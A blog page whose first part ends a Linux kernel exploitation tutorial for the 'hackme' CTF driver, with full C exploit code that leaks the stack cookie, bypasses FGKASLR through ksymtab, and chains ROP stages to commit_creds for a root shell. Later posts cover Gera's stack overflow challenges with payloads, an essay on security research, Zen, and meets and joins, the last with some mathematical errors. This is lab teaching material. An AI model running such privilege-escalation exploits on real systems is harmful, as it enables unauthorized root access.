    printf("[+] leaked ksymtab_prepare_kernel_cred 0x%lx\n", ksymtab_prepare_kernel_cred);
    uint64_t ksymtab_commit_creds = kernel_base + 0xf87d90UL;
    printf("[+] leaked ksymtab_commit_creds 0x%lx\n", ksymtab_commit_creds);

Running this yields the real addresses of the symbols, as can be shown when contrasting with the true location within /proc/kallsyms.

/ # ./leak_cookie
[+] successfully opened /dev/hackme
[*] Saved state
[*] trying to leak up to 320 bytes memory
[+] leaked cookie: 0xaec7370351852800
[+] leaked kernel_base 0xffffffffbd600000
[+] leaked ksymtab_prepare_kernel_cred 0xffffffffbe58d4fc
[+] leaked ksymtab_commit_creds 0xffffffffbe587d90
/ # cat /proc/kallsyms | grep ffffffffbe58d4fc
ffffffffbe58d4fc r __ksymtab_prepare_kernel_cred
/ # cat /proc/kallsyms | grep ffffffffbe587d90
ffffffffbe587d90 r __ksymtab_commit_creds

What remains is to compute the location of prepare_kernel_cred from __ksymtab_prepare_kernel_cred and the location of commit_creds from __kstrtab_commit_creds.

Remember that the kernel symbols structs are defined as follows:

struct kernel_symbol {
	  int value_offset;
	  int name_offset;
	  int namespace_offset;
};

Hence, we can now use a ROP gadget to store ksymtabs_commit_creds - 0x10 in rax, read the value_offset, and hence obtain the memory location of commit_creds by adding the value_offset to the location of ksymtabs_commit_creds.

The full code to compute the memory location of commit_creds is as follows.

#include <fcntl.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>


char *VULN_DRV = "/dev/hackme";

int64_t global_fd = 0;
uint64_t cookie = 0;
uint64_t cookie_off = 16;

uint64_t kernel_base;
uint64_t ksymtab_prepare_kernel_cred;
uint64_t ksymtab_commit_creds;

uint64_t pop_rax_ret; // pop rax; ret
uint64_t read_mem_pop1_ret; // mov eax, qword ptr [rax + 0x10]; pop rbp; ret;
uint64_t swapgs_restore_regs_and_return_to_usermode; // The KPTI trampoline

uint64_t tmp;

uint64_t user_cs, user_ss, user_rflags, user_sp;     // for storing the registers


void open_dev(){
    global_fd = open(VULN_DRV, O_RDWR);
    if (global_fd < 0) {
        printf("[-] failed to open %s\n", VULN_DRV);
        exit(-1);
    } else {
        printf("[+] successfully opened %s\n", VULN_DRV);
    }
}

void save_state(){
    __asm__(
        ".intel_syntax noprefix;"
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
        ".att_syntax;"
    );
    puts("[*] Saved state");
}

void leak_cookie() {
    uint8_t sz = 40;
    uint64_t leak[sz];
    printf("[*] trying to leak up to %ld bytes memory\n", sizeof(leak));
    uint64_t data = read(global_fd, leak, sizeof(leak));
    cookie = leak[16];
    printf("[+] leaked cookie: 0x%lx\n", cookie);
    uint64_t kernel_base = leak[38] - 0x0a157UL;
    printf("[+] leaked kernel_base 0x%lx\n", kernel_base);
    ksymtab_prepare_kernel_cred = kernel_base + 0xf8d4fcUL;
    printf("[+] leaked ksymtab_prepare_kernel_cred 0x%lx\n", ksymtab_prepare_kernel_cred);
    ksymtab_commit_creds = kernel_base + 0xf87d90UL;
    printf("[+] leaked ksymtab_commit_creds 0x%lx\n", ksymtab_commit_creds);

    pop_rax_ret = kernel_base + 0x4d11UL;
    read_mem_pop1_ret = kernel_base + 0x4aaeUL; // mov eax, qword ptr [rax + 0x10]; pop rbp; ret;
    swapgs_restore_regs_and_return_to_usermode = kernel_base + 0x200f10UL; // the offset from /proc/kallsyms
}

void get_commit_creds(void){
    __asm__(
        ".intel_syntax noprefix;"
        "mov tmp, rax;"
        ".att_syntax;"
    );
    uint64_t commit_creds = ksymtab_commit_creds + (int)tmp;
    printf("[+] leaked commit_creds 0x%lx\n", ksymtab_commit_creds + tmp);
}

void stage1(){
    uint8_t sz = 50;
    uint64_t payload[sz];
    payload[cookie_off++] = cookie;
    payload[cookie_off++] = (uint64_t) 0;  // RBX
    payload[cookie_off++] = (uint64_t) 0;  // R12
    payload[cookie_off++] = (uint64_t) 0;  // RBP
    payload[cookie_off++] = (uint64_t) pop_rax_ret;
    payload[cookie_off++] = (uint64_t) ksymtab_commit_creds - 0x10;
    payload[cookie_off++] = (uint64_t) read_mem_pop1_ret;
    payload[cookie_off++] = (uint64_t) 0; // dummy pop

    payload[cookie_off++] = (uint64_t) swapgs_restore_regs_and_return_to_usermode + 22; // The KPTI trampoline
    payload[cookie_off++] = (uint64_t) 0; // dummy rax
    payload[cookie_off++] = (uint64_t) 0; // dummy rdi

    payload[cookie_off++] = (uint64_t) get_commit_creds;  // compute the location of commit_creds

    payload[cookie_off++] = (uint64_t) user_cs;
    payload[cookie_off++] = (uint64_t) user_rflags;
    payload[cookie_off++] = (uint64_t) user_sp;
    payload[cookie_off++] = (uint64_t) user_ss;

    write(global_fd, payload, sizeof(payload));
    puts("if you can read this, it did not work.");
}

int main(int argc, char **argv){
    open_dev();
    save_state();
    leak_cookie();
    stage1();
    return 0;
}

Executing this yields the following.

/ # ./leak_commit_creds
[+] successfully opened /dev/hackme
[*] Saved state
[*] trying to leak up to 320 bytes memory
[+] leaked cookie: 0xbde6cd8832184c00
[+] leaked kernel_base 0xffffffffb3000000
[+] leaked ksymtab_prepare_kernel_cred 0xffffffffb3f8d4fc
[+] leaked ksymtab_commit_creds 0xffffffffb3f87d90
[+] leaked commit_creds 0xb385a200
Segmentation fault

This is the true location of the symbol commit_creds as we can easily verify.

/ # cat /proc/kallsyms | grep b385a200
ffffffffb385a200 T commit_creds

The memory location of prepare_kernel_cred can be retrieved similarly.

Game Plan

After showing these building blocks, we can now stitch together the complete game plan for exploiting the kernel driver with FGKASLR. We can leak enough values of the stack to get the base address of the kernel at offset 38. Then, we can craft a ROP chain with gadgets in the memory area that is only affected by KASLR, but not by FGKASLR. This ROP chain reads the kernel symbol table entries in the read-only data section of kernel memory. The offsets of these entries can again be computed, as they are at a constant offset of the kernel base address and are not affected by FGKASLR, but again only by KASLR. We use these entries to read the address of the functions prepare_kernel_cred and commit_creds. Even though these functions are in the memory area affected by FGKASLR, we can know their addresses, as they are stored in the kernel symbol table.

Then, we need to execute prepare_kernel_cred and commit_creds as before and should be presented with a root shell.

What remains is to circumvent the need for a gadget that moves the result from prepare_kernel_cred to commit_cred, i.e., from rax to rdx. Previously, we had a gadget for this, but it is in the section affected by FGKASLR and hence not available anymore.

Complete Code

We will now present the complete code for the exploit using FGKASLR.

#include <fcntl.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>


char *VULN_DRV = "/dev/hackme";

int64_t global_fd = 0;
uint64_t cookie = 0;

// memory locations in the kernel
uint64_t kernel_base;
uint64_t ksymtab_prepare_kernel_cred;
uint64_t ksymtab_commit_creds;

uint64_t commit_creds;
uint64_t prepare_kernel_cred;

// rop gadgets
uint64_t pop_rax_ret; // pop rax; ret
uint64_t read_mem_pop1_ret; // mov eax, qword ptr [rax + 0x10]; pop rbp; ret;
uint64_t pop_rdi_pop_rbx_ret; // pop rdi ; pop rbx ; ret
uint64_t swapgs_restore_regs_and_return_to_usermode; // The KPTI trampoline

// temporary return values
uint64_t tmp;
uint64_t creds_struct; // returned creds_struct from prepare_kernel_cred(0)

// for storing the registers
uint64_t user_cs, user_ss, user_rflags, user_sp;


void open_dev(){
    global_fd = open(VULN_DRV, O_RDWR);
    if (global_fd < 0) {
        printf("[-] failed to open %s\n", VULN_DRV);
        exit(-1);
    } else {
        printf("[+] successfully opened %s\n", VULN_DRV);
    }
}

void save_state(){
    __asm__(
        ".intel_syntax noprefix;"
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
        ".att_syntax;"
    );
    puts("[*] Saved state");
}

/*
First, we leak the cookie and the base address of the kernel.
This allows us to compute the memory locations of the relevant gadgets
in the section that is affected by ASLR, but not by KASLR.
*/
void leak_cookie() {
    uint8_t sz = 40;
    uint64_t leak[sz];
    printf("[*] trying to leak up to %ld bytes memory\n", sizeof(leak));
    uint64_t data = read(global_fd, leak, sizeof(leak));
    cookie = leak[16];
    printf("[+] leaked cookie: 0x%lx\n", cookie);
    kernel_base = leak[38] - 0x0a157UL;
    printf("[+] leaked kernel_base 0x%lx\n", kernel_base);
    ksymtab_prepare_kernel_cred = kernel_base + 0xf8d4fcUL;
    printf("[+] leaked ksymtab_prepare_kernel_cred 0x%lx\n", ksymtab_prepare_kernel_cred);
    ksymtab_commit_creds = kernel_base + 0xf87d90UL;
    printf("[+] leaked ksymtab_commit_creds 0x%lx\n", ksymtab_commit_creds);

    pop_rax_ret = kernel_base + 0x4d11UL;
    pop_rdi_pop_rbx_ret = kernel_base + 0x745dUL;
    read_mem_pop1_ret = kernel_base + 0x4aaeUL; // mov eax, qword ptr [rax + 0x10]; pop rbp; ret;
    swapgs_restore_regs_and_return_to_usermode = kernel_base + 0x200f10UL; // the offset from /proc/kallsyms
}

void stage1();
void stage2();
void stage3();
void stage4();
void get_commit_creds();

/*
The first stage computes the memory location of the symbol commit_creds
*/
void stage1(){
    uint8_t sz = 50;
    uint64_t payload[sz];
    uint64_t cookie_off = 16;

    payload[cookie_off++] = cookie;
    payload[cookie_off++] = (uint64_t) 0;  // RBX
    payload[cookie_off++] = (uint64_t) 0;  // R12
    payload[cookie_off++] = (uint64_t) 0;  // RBP
    payload[cookie_off++] = (uint64_t) pop_rax_ret;
    payload[cookie_off++] = (uint64_t) ksymtab_commit_creds - 0x10;
    payload[cookie_off++] = (uint64_t) read_mem_pop1_ret;
    payload[cookie_off++] = (uint64_t) 0; // dummy pop

    payload[cookie_off++] = (uint64_t) swapgs_restore_regs_and_return_to_usermode + 22; // The KPTI trampoline
    payload[cookie_off++] = (uint64_t) 0; // dummy rax
    payload[cookie_off++] = (uint64_t) 0; // dummy rdi

    payload[cookie_off++] = (uint64_t) get_commit_creds;  // compute the location of commit_creds

    payload[cookie_off++] = (uint64_t) user_cs;
    payload[cookie_off++] = (uint64_t) user_rflags;
    payload[cookie_off++] = (uint64_t) user_sp;
    payload[cookie_off++] = (uint64_t) user_ss;

    write(global_fd, payload, sizeof(payload));
    puts("if you can read this, it did not work.");
}

void get_commit_creds(){
    __asm__(
        ".intel_syntax noprefix;"
        "mov tmp, rax;"
        ".att_syntax;"
    );
    commit_creds = ksymtab_commit_creds + (int)tmp;
    printf("[+] leaked commit_creds 0x%lx\n", commit_creds);
    stage2();
}

/*
At the end of get_commit_creds, we enter the second stage.
This stage is similar to stage1, but computes the location of the
symbol prepare_kernel_cred.
*/

void  get_prepare_kernel_cred();

void stage2(){
    uint8_t sz = 50;
    uint64_t payload[sz];
    uint64_t cookie_off = 16;

    payload[cookie_off++] = cookie;
    payload[cookie_off++] = (uint64_t) 0;  // RBX
    payload[cookie_off++] = (uint64_t) 0;  // R12
    payload[cookie_off++] = (uint64_t) 0;  // RBP
    payload[cookie_off++] = (uint64_t) pop_rax_ret;
    payload[cookie_off++] = (uint64_t) ksymtab_prepare_kernel_cred - 0x10;
    payload[cookie_off++] = (uint64_t) read_mem_pop1_ret;
    payload[cookie_off++] = (uint64_t) 0; // dummy pop

    payload[cookie_off++] = (uint64_t) swapgs_restore_regs_and_return_to_usermode + 22; // The KPTI trampoline
    payload[cookie_off++] = (uint64_t) 0; // dummy rax
    payload[cookie_off++] = (uint64_t) 0; // dummy rdi

    payload[cookie_off++] = (uint64_t) get_prepare_kernel_cred;  // compute the location of prepare_kernel_cred

    payload[cookie_off++] = (uint64_t) user_cs;
    payload[cookie_off++] = (uint64_t) user_rflags;
    payload[cookie_off++] = (uint64_t) user_sp;
    payload[cookie_off++] = (uint64_t) user_ss;

    write(global_fd, payload, sizeof(payload));
    puts("if you can read this, it did not work.");
}

void get_prepare_kernel_cred(){
    __asm__(
        ".intel_syntax noprefix;"
        "mov tmp, rax;"
        ".att_syntax;"
    );
    prepare_kernel_cred = ksymtab_prepare_kernel_cred + (int)tmp;
    printf("[+] leaked prepare_kernel_cred 0x%lx\n", prepare_kernel_cred);
    stage3();
}

/*
At the end of get_prepare_kernel_cred, we enter the third stage.
Remember, our ultimate goal is to call commit_creds(prepare_kernel_cred(0)).
The third stage calls prepare_kernel_cred(0). Per calling convention,
the argument needs to be loaded in rdi. Fortunately we have a gadget
for that.
*/

void return_prepare_kernel_cred();

void stage3(){
    uint8_t sz = 50;
    uint64_t payload[sz];
    uint64_t cookie_off = 16;

    payload[cookie_off++] = cookie;
    payload[cookie_off++] = (uint64_t) 0;  // RBX
    payload[cookie_off++] = (uint64_t) 0;  // R12
    payload[cookie_off++] = (uint64_t) 0;  // RBP
    payload[cookie_off++] = (uint64_t) pop_rdi_pop_rbx_ret;
    payload[cookie_off++] = (uint64_t) 0; // RDI, initialize argument for prepare_kernel_cred
    payload[cookie_off++] = (uint64_t) 0; // RBX

    payload[cookie_off++] = (uint64_t) prepare_kernel_cred; // prepare_kernel_cred(0)

    payload[cookie_off++] = (uint64_t) swapgs_restore_regs_and_return_to_usermode + 22; // The KPTI trampoline
    payload[cookie_off++] = (uint64_t) 0; // dummy rax
    payload[cookie_off++] = (uint64_t) 0; // dummy rdi

    payload[cookie_off++] = (uint64_t) return_prepare_kernel_cred;  // return after prepare_kernel_cred(0)

    payload[cookie_off++] = (uint64_t) user_cs;
    payload[cookie_off++] = (uint64_t) user_rflags;
    payload[cookie_off++] = (uint64_t) user_sp;
    payload[cookie_off++] = (uint64_t) user_ss;

    write(global_fd, payload, sizeof(payload));
    puts("if you can read this, it did not work.");

}

void return_prepare_kernel_cred(){
    __asm__(
        ".intel_syntax noprefix;"
        "mov tmp, rax;"
        ".att_syntax;"
    );
    creds_struct = tmp;
    printf("[+] returned creds_struct 0x%lx\n", creds_struct);
    stage4();
}

/*
Stage4 executes commit_creds on the returned creds struct of stage3.
After that, we jump to a shell.
*/

void shell();

void stage4(){
    uint8_t sz = 50;
    uint64_t payload[sz];
    uint64_t cookie_off = 16;

    payload[cookie_off++] = cookie;
    payload[cookie_off++] = (uint64_t) 0;  // RBX
    payload[cookie_off++] = (uint64_t) 0;  // R12
    payload[cookie_off++] = (uint64_t) 0;  // RBP
    payload[cookie_off++] = (uint64_t) pop_rdi_pop_rbx_ret;
    payload[cookie_off++] = (uint64_t) creds_struct; // RDI, argument for commit_creds
    payload[cookie_off++] = (uint64_t) 0; // RBX

    payload[cookie_off++] = (uint64_t) commit_creds; // commit_creds(prepare_kernel_cred(0))

    payload[cookie_off++] = (uint64_t) swapgs_restore_regs_and_return_to_usermode + 22; // The KPTI trampoline
    payload[cookie_off++] = (uint64_t) 0; // dummy rax
    payload[cookie_off++] = (uint64_t) 0; // dummy rdi

    payload[cookie_off++] = (uint64_t) shell;  // return after we have elevated permissions

    payload[cookie_off++] = (uint64_t) user_cs;
    payload[cookie_off++] = (uint64_t) user_rflags;
    payload[cookie_off++] = (uint64_t) user_sp;
    payload[cookie_off++] = (uint64_t) user_ss;

    write(global_fd, payload, sizeof(payload));
    puts("if you can read this, it did not work.");

}

void shell(){
    uid_t uid = getuid();
    if (uid == 0) {
        printf("[+] we are root (uid = %d)\n", uid);
    } else {
        printf("[!] we are not root (uid: %d)\n", uid);
        exit(-1);
    }
    execl("/bin/sh", "sh", NULL);
    exit(0);
}


int main(int argc, char **argv){
    open_dev();
    save_state();
    leak_cookie();
    stage1();
    return 0;
}

Executing the code looks as follows.

/ $ id
uid=1000 gid=1000 groups=1000
/ # ./exploit_fgkaslr
[+] successfully opened /dev/hackme
[*] Saved state
[*] trying to leak up to 320 bytes memory
[+] leaked cookie: 0xc2f94f03356f4600
[+] leaked kernel_base 0xffffffff86e00000
[+] leaked ksymtab_prepare_kernel_cred 0xffffffff87d8d4fc
[+] leaked ksymtab_commit_creds 0xffffffff87d87d90
[+] leaked commit_creds 0xffffffff874ef630
[+] leaked prepare_kernel_cred 0xffffffff8791bd70
[+] returned creds_struct 0xffff93cd472e1780
[+] we are root (uid = 0)

Conclusion/Summary

That was a long article. Congrats if you made it this far. If you skipped some parts, or forgot the start of the article, here are the most important points, that should stick with you.

In general, in kernel space you cannot pop shellcode. You want to execute commit_creds(prepare_kernel_cred(0)) and return back to user space. This gives you an elevated prompt.

If you encounter SMEP (Supervisor Mode Execution Prevention) or SMAP (Supervisor Mode Access Prevention) you cannot use code from user space in kernel exploits. What you need to do to bypass it, is to write a ROP chain with gadgets in the kernel.

If you encounter KPTI (Kernel Page Table Isolation) there are various bypasses. The most common one is to make use of a KPTI trampoline. This is the code that syscalls execute when they go back to user space. You can find the other bypasses above in the article.

Finally, if you encounter Kernel ASLR (Address Space Layout Randomization) you need to check if it is on the granularity of functions or if the whole kernel is moved by an offset. In the second case, a single kernel address leak is enough to recover all addresses. If FGKASLR is used, there are still parts of the kernel that are only moved by a static offset. Again using a kernel address leak allows to construct ROP chains using these memory locations

Resources

There are lots of writeups for exactly this challenge and i have read multiple of them, as they focus on different aspects. Some code parts are lifted from these other writeups. Without these writeups my guide could not have existed. We really stand on the shoulders of giants.

Security Research Lacks Scientific Significance

2024-11-02T00:00:00+00:00

My background

When i left academia after pursuing my PhD and got into penetration testing, i was irked by how people used the word “security research”, but I could not quite put my finger onto it.

For me, research was an activity that increased the knowledge of humanity. As an example the theorems of Pythagoras or Thales of Milet still hold and are still relevant for today. The same holds true for physicists such as Newton, Laplace, or Kepler. The purpose of research for me was always inquiry into the laws of reality.

Security “Research”

The vulnerabilities found by security research of course also still hold, but they are not relevant today. Usually these vulnerabilities are reported to the respective vendor who releases an update which fixes the vulnerability. Of course the process is not as easy as explained, as issuing an update may take half a year or more. But after that, the vulnerability and hence the research is rendered moot.

Is it fair to call such an endeavor research?

Most vulnerabilities do not lead to lessons learned for the field, or even pose a large degree of novelty. Shouldn’t such an activity be called engineering rather than security research?

Unfortunately, the notion security engineering is already taken by a different field of study. But still, something about the term “security research” for the act of identifying vulnerabilities feels wrong to me.

As an example for laughable security research, take a look at the Jasmin ransomware. This is just a ransomware role-playing as security research. Of course it is possible to create ransomware for educational purposes. But none of that is research. Rather it is engineering. There is no scientific value in this.

Another example of contemporary security research is the article Certified Pre-Owned by specterops. It concerns a common misconfiguration in Windows Active Directory that allows an attacker to escalate privileges. While i respect the immense effort that went into the writing, to me this is still borderline research. The novel attack primitive is a way forward. But still, this primitive is only relevant for Windows Active Directory, and only as long as Microsoft has not admitted the issue. In ten to twenty years, no one will care about this issue, except as a historical anecdote. Mind you, this issue is economically significant. But not scientifically.

And then there is also “show research” or “stunt security research”, where people hack a satellite or a car. Something that is highly marketable but has limited impact.

Contrast this with fundamental theorems of computer science such as the CAP theorem, the Church-Turing thesis, or the Curry-Howard-Lambek correspondence. Or look at some of the old cryptographic research that introduced new attack primitives such as timing attacks or chosen plaintext attacks, that are reusable and can be applied in different contexts. These results are more akin to the results of Fermat, as they will not lose their relevance in times to come.

Do you think Pythagoras would still be so widely regarded if his research practices resembled those of contemporary security researchers? Would Pythagoras still be relevant today if he described security issues in a horse-drawn carriage that only apply to a single manufacturer from his town?

A Way Forward

Instead of just being grumpy and negative about security research, i want to propose a way forward.

I would like to see more security research that has an impact on the field of knowledge and is still relevant in ten or even more years. I would like to see new attacker models, new attacking primitives. I would like to see research on how different attacking primitives can be combined. I would like to see comparative studies between different protocol designs or different system architectures. I want to see novel security models, instead of rehashing the same old vulnerabilities in different implementations. I want advances in fuzzing and symbolic execution. I want more research into the applicability of formal methods into security research. This is the only way security research can continue to stay relevant.

The Great Matter Of Life And Death

2024-07-01T00:00:00+00:00

In all Zen sesshins I have been to, there was an evening service where the guy leading the sesshin recited something akin to the following.

Great is the matter of life and death.
Life slips quickly by.
Time waits for no one.
Wake up! Wake up!
Don’t waste a moment.

Actually, i visited only one English speaking retreat, so mostly it was a German version as the one below.

Aus tiefstem Herzen sage ich euch:
Immer geht es um Leben und Tod.
Alles vergeht und kein Verweilen kennt der Augenblick.
Seid achtsam. Nicht nachlässig. Nicht vergesslich.

I have an additional English translation for you, just in case you do not appreciate the first one.

Let me respectfully remind you.
Life and death are of supreme importance.
Time swiftly passes by and opportunity is lost.
Each of us must strive to awaken, awaken.
Take heed! Do not squander your life.

Usually, there is a wooden block, somewhere at the entrance of the Zendo, where the same stuff is written. Mostly, it is written in Japanese kanji, so you probably cannot read it.

This wooden block is struck with a mallet in increasing tempo and instills a sense of urgency. It is not a pleasant sound, but rather jolting. You can see the impact of the mallet at the wooden block, as there is some wood chipped away. Sometimes the wooden block even breaks (although i have never witnessed that).

The beat becomes faster and faster. Just like the rhythm of time. As children, we cannot plan for the next year or even the next weekend. As an adult, we look back and wonder where all those years went. First seasons and then whole years blur together.

Sometimes i start a story with the word “recently”, only to then remember that the story i am going to tell already happened a year ago.

Contrary to popular belief, Buddhism does not teach rebirth. At least not Zen Buddhism. In Buddhism there is no self that can be reborn. In the Genjo Koan, the founder of the Soto lineage Dogen Zenjo wrote the following.

Firewood becomes ash. Ash cannot become firewood again. However, we should not view ash as after and firewood as before. We should know that firewood dwells in the dharma position of firewood and has its own before and after. Although before and after exist, past and future are cut off. Ash stays in the position of ash, with its own before and after.

I do not know what “dwelling in a dharma position” means. Other translations have different words in that place that i also do not get, such as the following.

You should understand that firewood abides in the phenomenal expression of firewood which fully includes past and future, and is independent of past and future. Ash abides in the phenomenal expression of ash which fully includes future and past.

But that is not the point. If we still do not get it, Dogen becomes even more clear in his next sentence.

As firewood never becomes firewood again after it has burned to ash, there is no return to living after a person dies.

Meets And Joins

2024-05-14T00:00:00+00:00

Introduction

In this post, we will talk about meets and joins in preorders. The beauty here is, that this point of view allows to generalize multiple different notions such as the minimum of two numbers, intersections of sets, and greatest common divisors

Preorders

First and foremost, let us define what we mean when we are talking about preorders. A preorder $(A,\leq)$ is a set $A$ together with a binary relation $\leq$ such that the two following properties hold:

Reflexivity: $a\leq a$ for all elements $a\in A$, i.e. every element is related to itself.
Transitivity: if $a\leq b$ and $b\leq c$, then $a\leq c$ for all $a, b, c\in A$.

A preorder is nearly a partial order, but not quite. What is missing is the antisymmetry, i.e., if $a\leq b$ and $b\neq a$ then $a=b$. Preorders do not necessarily have that property.

Meets and Joins

Next, let us define the meet of two elements $a$ and $b\in A$. For $a$ and $b\in A$ we say that an element $m\in A$ is their meet if both of the following conditions hold.

$m\leq a$ and $m\leq b$.
For all $c\in A$ with $c\leq a$ and $c\leq b$ we have $c\leq m$.

We write $a\wedge b$ for the meet.

Similarly, we define the join. For $a$ and $b\in A$ we say that an element $j\in A$ is their join if both of the following conditions hold.

$a\leq j$ and $b\leq j$.
For all $c\in A$ with $a\leq c$ and $b\leq c$ we have $j\leq c$.

We write $a\vee b$ for the meet.

Note that neither meet nor join need to exist. There are examples where neither exists and we will see one later.

Example: Real Numbers

One of the easiest examples of a preorder are the real numbers with the usual comparison operator $(\mathbb{R}, \leq)$. This is clearly a preorder, as reflexivity and transitivity hold.

Let us look at what the meet of two numbers is in that preorder.

From the first condition we get that $a\wedge b\leq a$ and $a\wedge b\leq b$. Hence, the meet is smaller or equal than the minimum of a and b. Or as formula: $a\wedge b \leq \operatorname{min}(a,b)$.

From the second condition we have that for all $c$ with $c\leq a$ and $c\leq b$ we have $c\leq a\wedge b$. This means that all other numbers that are smaller than $a$ and $b$ are smaller then the join. Or in other words, the join is the largest number that is smaller than both, $a$ and $b$. Or in other words the greatest lower bound. Hence, the join $a\wedge b$ is the minimum $\operatorname{min}(a,b)$.

An analogous investigation shows that the meet is the smallest number that is greater than both $a$ and $b$ and hence the maximum: $a\vee b=\operatorname{max}(a,b)$.

Note that $a\wedge b + a\vee b=\operatorname{min}(a,b)+\operatorname{max}(a,b)=a+b$

Example: Sets with Inclusion

The second example of a preorder that i want to show you are sets. The set that was previously called $A$ is now a set of some sets, such as a powerset. For two sets $a$ and $b$ we say that $a\leq b$ is a is a subset of b, i.e., if $a\subseteq b$. Again, reflexivity and transitivity hold.

Let us again take a look at meets and joins in that preorder. The join $a\wedge b$ is a set that is contained in both $a$ and $b$. And for each set $c$ that is contained in both $a$ and $b$, $c$ is contained in the join. That means that the join is the largest set that is contained in both $a$ and $b$. Hence, the join $a\wedge b$ is just the intersection of the sets $a\cap b$.

Similarly, the meet is the smallest set that contains both $a$ and $b$. Consequently it is identical to the union of the sets $a\cup bb$.

Note that $\lvert a\wedge b\rvert + \lvert a\vee b\rvert =\lvert a\cap b\rvert +\lvert a\cup b\rvert = \lvert a\rvert + \lvert b\rvert$.

Example: Integers with Divisibility

Another example of a preorder are the integers $(\mathbb{Z},\leq)$, where we define $a\leq b$ if and only if $a\mid b$, i.e. $a$ divides $b$.

Why is this a preorder? Reflexivity holds trivially as every number $a$ is divisible by itself $a\mid a$ For transitivity, observe that if $a$ divides $b$ and $b$ divides $c$, then also $a$ divides $c$ or in formulas: $a\mid b$ and $b\mid c \rightarrow$a\mid c$$.

This preorder may be more unfamiliar, as the ones above. For example $3\leq 9$, but $3\not\leq 8$, as $3$ is not divisible by $8$.

What are joins and meets in that preorder?

The meet is a number that divides both $a$ and $b$. So, it is a common divisor. Further, every other number that is a divisor of both $a$ and $b$ is also a divisor of the meet due to the definition. Hence, The meet of $a$ and $b$ is the greatest common divisor $a\wedge b =\operatorname{gcd}(a,b)$.

Let us look at an example. We know that $\operatorname{gcd}(10,30)=10$. For the second condition let us choose another divisor, e.g., $5$. Then $5\mid 10$ and hence we see that the gcd fulfills the second condition (at least in this example).

The join of $a$ and $b$ is an element that is divided by both $a$ and $b$. So we could at first think that the join is the product $a\cdot b$. But that is not the case due to the second condition. The join divides all other numbers that are divided by both $a$ and $b$. Hence, the join is the least common multiple multiple $a\vee b =\operatorname{lcm}(a,b)$

Note that $a\wedge b \cdot a\vee b=\operatorname{gcd}(a,b)\cdot\operatorname{lcm}(a,b)=a\cdot b$.

Example: Oriented Graphs and Paths

We have already seen a lot of example of preorders, meets and joins that look very different. But to drive the point home further that generalization can be very useful in order to treat different cases at once, here is another example.

An oriented graph $G$ is a preorder, where the relationship $a\leq b$ is defined to hold if there is a path from $a$ to $b$. A path is defined as any sequence of arrows, such that the target of one arrow is the source fo the next.

Now you have seen enough examples of preorders that you should be able to verify by yourself, that this is a preorder. Take out paper and pencil and try to verify this for yourself. For maximum learning effect it is recommended to try to find what the join and meet in this preorder are. I will spoil it to you in the next paragraph.

In contrast to the examples we have seen until now, in this preorder the join or meet do not need to exist. The join is the vertex that is the latest predecessor of both, $a$ and $b$. Further, the meet is the earliest sibling of $a$ and $b$.

Conclusion

We have seen that while preorders offer a very abstract structure, they are the foundation of many different mathematical objects. The notion of preorder allows us to treat all of these objects the same. This is not too dissimilar to the way we can treat different instances of numbers the same without worrying about the instantiation, e.g., two bananas or two apples.

Geras Insecure Programming Challenges

2024-03-10T00:00:00+00:00

Introduction

In this post we will take a look at some of Gera’s Insecure programming challenges. These are a popular set of computer security challenges flying around the web. We will look at the challenges called stack1.c up to stack5.c We compile everything with gcc -m32 stackn.c -o stackn.o, where n is from 1 to 4. This says to gcc that we want a 32-bit binary.

Stack1.c

/* stack1-stdin.c                               *
 * specially crafted to feed your brain by gera */

#include <stdio.h>

int main() {
	int cookie;
	char buf[80];

	printf("buf: %08x cookie: %08x\n", &buf, &cookie);
	gets(buf);

	if (cookie == 0x41424344)
		printf("you win!\n");
}

As we can see the program allocates an integer and an array buf of 80 bytes on the stack and copies stdin into buf. That is already everything. If we get the integer to change to 0x41424344 then we win. 0x41424344 converted to ASCII is ABCD, by the way. We know that the stack grows in direction of the small addresses, so the memory layout is likely as follows:

low addresses
--
buf[0]
--
...
--
buf[79]
--
4 Byte cookie
--
high addresses

That is we need to insert 80 bytes of junk and then “DCBA” (because of endianness) to overwrite the cookie.

$ python -c 'print("A"*80+"DCBA")' | ./stack1.o
buf: ffe7697c cookie: ffe769cc
you win!

Stack2.c

/* stack2-stdin.c                               *
 * specially crafted to feed your brain by gera */

#include <stdio.h>

int main() {
	int cookie;
	char buf[80];

	printf("buf: %08x cookie: %08x\n", &buf, &cookie);
	gets(buf);

	if (cookie == 0x01020305)
  		printf("you win!\n");
}

This is basically the same, but this time we need to write 0x01020305 over the cookie.

$ python -c 'print("A"*80+"\x05\x03\x02\x01")' | stack2.o 
buf: ffbb34ec cookie: ffbb353c
you win!

Stack3.c

/* stack3-stdin.c                               *
 * specially crafted to feed your brain by gera */

#include <stdio.h>

int main() {
	int cookie;
	char buf[80];

	printf("buf: %08x cookie: %08x\n", &buf, &cookie);
	gets(buf);

	if (cookie == 0x01020005)
  		printf("you win!\n");
}

Again the same? Yes. But this time, the interesting thing is that we have a 0x00. Normally this is the Null-terminator. Strings in C end with 0x00 because this is the only way the computer can see that he has encountered the end of the string and can stop reading. Interestingly ‘gets’ does not care.

$ python -c 'print("A"*80+"\x05\x00\x02\x01")' | stack3.o 
buf: ffd5998c cookie: ffd599dc
you win!

Stack4.c

/* stack4-stdin.c                               *
 * specially crafted to feed your brain by gera */

#include <stdio.h>

int main() {
	int cookie;
	char buf[80];

	printf("buf: %08x cookie: %08x\n", &buf, &cookie);
	gets(buf);

	if (cookie == 0x000d0a00)
		printf("you win!\n");
}

Ah, the same stuff again. Piece of cake.

$ python -c 'print("A"*80+"\x00\x0a\x0d\x00")' | stack4.o 
buf: ff8efd3c cookie: ff8efd8c

Whoa, what happened? We are doomed.

Okay, according to the man-page gets reads until a newline or EOF is encountered. Unfortunately the combination \x0a\x0d when ASCII-encoded is a newline. We need to think of something else. First let us recompile the binary with gcc -g -fno-stack-protector -m32 stack4.c -o stack4.o. The -g enables debug symbols to ease our lives, -fno-stack-protector disables stack canaries, which are a security mechanism. This also eases what we intend to do. Let us take a look at the binary:

$ r2 -A stack4.o 
